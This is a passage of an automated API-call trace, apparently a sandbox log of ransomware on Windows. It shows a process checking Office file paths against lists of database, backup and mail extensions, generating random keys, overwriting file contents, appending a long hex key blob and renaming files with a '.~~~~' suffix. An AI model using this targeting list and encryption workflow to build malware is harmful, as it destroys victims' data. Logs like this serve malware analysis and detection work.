	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".OST") returned 0x0
	[0144.063] lstrlenW (lpString=".dbx") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dbx") returned 0x0
	[0144.063] lstrlenW (lpString=".DB3") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DB3") returned 0x0
	[0144.063] lstrlenW (lpString=".DAT") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DAT") returned 0x0
	[0144.063] lstrlenW (lpString=".VHDX") returned 5
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".VHDX") returned 0x0
	[0144.063] lstrlenW (lpString=".ndf") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".ndf") returned 0x0
	[0144.063] lstrlenW (lpString=".DB") returned 3
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DB") returned 0x0
	[0144.063] lstrlenW (lpString=".sql") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".sql") returned 0x0
	[0144.064] lstrlenW (lpString=".MYD") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".MYD") returned 0x0
	[0144.064] lstrlenW (lpString=".DBT") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DBT") returned 0x0
	[0144.064] lstrlenW (lpString=".ACCDB") returned 6
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.064] lstrlenW (lpString=".fdb") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".fdb") returned 0x0
	[0144.064] lstrlenW (lpString=".bak") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".bak") returned 0x0
	[0144.064] lstrlenW (lpString=".myd") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".myd") returned 0x0
	[0144.064] lstrlenW (lpString=".DTXS") returned 5
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DTXS") returned 0x0
	[0144.064] lstrlenW (lpString=".ckp") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".ckp") returned 0x0
	[0144.064] lstrlenW (lpString=".dbt") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dbt") returned 0x0
	[0144.064] lstrlenW (lpString=".db") returned 3
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".db") returned 0x0
	[0144.064] lstrlenW (lpString=".TXT") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".TXT") returned 0x0
	[0144.064] lstrlenW (lpString=".MDF") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".MDF") returned 0x0
	[0144.064] lstrlenW (lpString=".bdb") returned 4
	[0144.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".bdb") returned 0x0
	[0144.064] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.065] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0144.066] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.066] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.066] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26405660602) returned 1
	[0144.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf469510, dwHighDateTime=0x1d60e1e)) 
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b26d8
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b26d8 | out: hHeap=0x300000) returned 1
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9408
	[0144.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9408 | out: hHeap=0x300000) returned 1
	[0144.067] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.068] GetLastError () returned 0x0
	[0144.068] GetLastError () returned 0x0
	[0144.068] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.068] GetLastError () returned 0x0
	[0144.068] GetLastError () returned 0x0
	[0144.068] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x5adf, lpOverlapped=0x0) returned 1
	[0144.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffa521, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.160] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x5adf, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x5adf, lpOverlapped=0x0) returned 1
	[0144.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.160] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.160] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.160] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.160] CloseHandle (hObject=0x114) returned 1
	[0144.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2918918
	[0144.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx.~~~~")) returned 1
	[0144.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2918918 | out: hHeap=0x300000) returned 1
	[0144.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.163] GetLastError () returned 0x0
	[0144.163] RtlWakeConditionVariable () returned 0x0
	[0144.163] GetCurrentThreadId () returned 0x9f4
	[0144.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".scr") returned 0x0
	[0144.163] lstrlenW (lpString=".cmd") returned 4
	[0144.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".cmd") returned 0x0
	[0144.163] lstrlenW (lpString=".dll") returned 4
	[0144.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dll") returned 0x0
	[0144.163] lstrlenW (lpString=".bat") returned 4
	[0144.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".bat") returned 0x0
	[0144.163] lstrlenW (lpString=".cpl") returned 4
	[0144.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".cpl") returned 0x0
	[0144.163] lstrlenW (lpString=".sys") returned 4
	[0144.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".sys") returned 0x0
	[0144.163] lstrlenW (lpString=".msc") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".msc") returned 0x0
	[0144.164] lstrlenW (lpString=".com") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".com") returned 0x0
	[0144.164] lstrlenW (lpString=".lnk") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".lnk") returned 0x0
	[0144.164] lstrlenW (lpString=".msp") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".msp") returned 0x0
	[0144.164] lstrlenW (lpString=".pif") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".pif") returned 0x0
	[0144.164] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0144.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.310] lstrlenW (lpString=".sqb") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".sqb") returned 0x0
	[0144.310] lstrlenW (lpString=".ost") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".ost") returned 0x0
	[0144.310] lstrlenW (lpString=".txt") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".txt") returned 0x0
	[0144.310] lstrlenW (lpString=".mdt") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".mdt") returned 0x0
	[0144.310] lstrlenW (lpString=".BDB") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".BDB") returned 0x0
	[0144.310] lstrlenW (lpString=".eql") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".eql") returned 0x0
	[0144.310] lstrlenW (lpString=".DBF") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DBF") returned 0x0
	[0144.310] lstrlenW (lpString=".EQL") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".EQL") returned 0x0
	[0144.310] lstrlenW (lpString=".FDB") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".FDB") returned 0x0
	[0144.310] lstrlenW (lpString=".EDB") returned 4
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".EDB") returned 0x0
	[0144.310] lstrlenW (lpString=".DACPAC") returned 7
	[0144.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DACPAC") returned 0x0
	[0144.310] lstrlenW (lpString=".VHD") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".VHD") returned 0x0
	[0144.311] lstrlenW (lpString=".DBV") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DBV") returned 0x0
	[0144.311] lstrlenW (lpString=".dacpac") returned 7
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dacpac") returned 0x0
	[0144.311] lstrlenW (lpString=".sdf") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".sdf") returned 0x0
	[0144.311] lstrlenW (lpString=".accdb") returned 6
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".accdb") returned 0x0
	[0144.311] lstrlenW (lpString=".DBX") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DBX") returned 0x0
	[0144.311] lstrlenW (lpString=".MDT") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".MDT") returned 0x0
	[0144.311] lstrlenW (lpString=".SQB") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".SQB") returned 0x0
	[0144.311] lstrlenW (lpString=".vhd") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".vhd") returned 0x0
	[0144.311] lstrlenW (lpString=".bac") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".bac") returned 0x0
	[0144.311] lstrlenW (lpString=".mdf") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".mdf") returned 0x0
	[0144.311] lstrlenW (lpString=".BAK") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".BAK") returned 0x0
	[0144.311] lstrlenW (lpString=".BAC") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".BAC") returned 0x0
	[0144.311] lstrlenW (lpString=".dbs") returned 4
	[0144.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dbs") returned 0x0
	[0144.312] lstrlenW (lpString=".vhdx") returned 5
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".vhdx") returned 0x0
	[0144.312] lstrlenW (lpString=".NDF") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".NDF") returned 0x0
	[0144.312] lstrlenW (lpString=".dat") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dat") returned 0x0
	[0144.312] lstrlenW (lpString=".DBS") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DBS") returned 0x0
	[0144.312] lstrlenW (lpString=".CKP") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".CKP") returned 0x0
	[0144.312] lstrlenW (lpString=".edb") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".edb") returned 0x0
	[0144.312] lstrlenW (lpString=".PST") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".PST") returned 0x0
	[0144.312] lstrlenW (lpString=".dbf") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dbf") returned 0x0
	[0144.312] lstrlenW (lpString=".SQL") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".SQL") returned 0x0
	[0144.312] lstrlenW (lpString=".pst") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".pst") returned 0x0
	[0144.312] lstrlenW (lpString=".dbv") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dbv") returned 0x0
	[0144.312] lstrlenW (lpString=".SDF") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".SDF") returned 0x0
	[0144.312] lstrlenW (lpString=".dtxs") returned 5
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dtxs") returned 0x0
	[0144.312] lstrlenW (lpString=".db3") returned 4
	[0144.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".db3") returned 0x0
	[0144.313] lstrlenW (lpString=".OST") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".OST") returned 0x0
	[0144.313] lstrlenW (lpString=".dbx") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dbx") returned 0x0
	[0144.313] lstrlenW (lpString=".DB3") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DB3") returned 0x0
	[0144.313] lstrlenW (lpString=".DAT") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DAT") returned 0x0
	[0144.313] lstrlenW (lpString=".VHDX") returned 5
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".VHDX") returned 0x0
	[0144.313] lstrlenW (lpString=".ndf") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".ndf") returned 0x0
	[0144.313] lstrlenW (lpString=".DB") returned 3
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DB") returned 0x0
	[0144.313] lstrlenW (lpString=".sql") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".sql") returned 0x0
	[0144.313] lstrlenW (lpString=".MYD") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".MYD") returned 0x0
	[0144.313] lstrlenW (lpString=".DBT") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DBT") returned 0x0
	[0144.313] lstrlenW (lpString=".ACCDB") returned 6
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".ACCDB") returned 0x0
	[0144.313] lstrlenW (lpString=".fdb") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".fdb") returned 0x0
	[0144.313] lstrlenW (lpString=".bak") returned 4
	[0144.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".bak") returned 0x0
	[0144.313] lstrlenW (lpString=".myd") returned 4
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".myd") returned 0x0
	[0144.314] lstrlenW (lpString=".DTXS") returned 5
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".DTXS") returned 0x0
	[0144.314] lstrlenW (lpString=".ckp") returned 4
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".ckp") returned 0x0
	[0144.314] lstrlenW (lpString=".dbt") returned 4
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".dbt") returned 0x0
	[0144.314] lstrlenW (lpString=".db") returned 3
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".db") returned 0x0
	[0144.314] lstrlenW (lpString=".TXT") returned 4
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".TXT") returned 0x0
	[0144.314] lstrlenW (lpString=".MDF") returned 4
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".MDF") returned 0x0
	[0144.314] lstrlenW (lpString=".bdb") returned 4
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".bdb") returned 0x0
	[0144.314] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0144.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.314] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0144.315] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.316] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0144.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
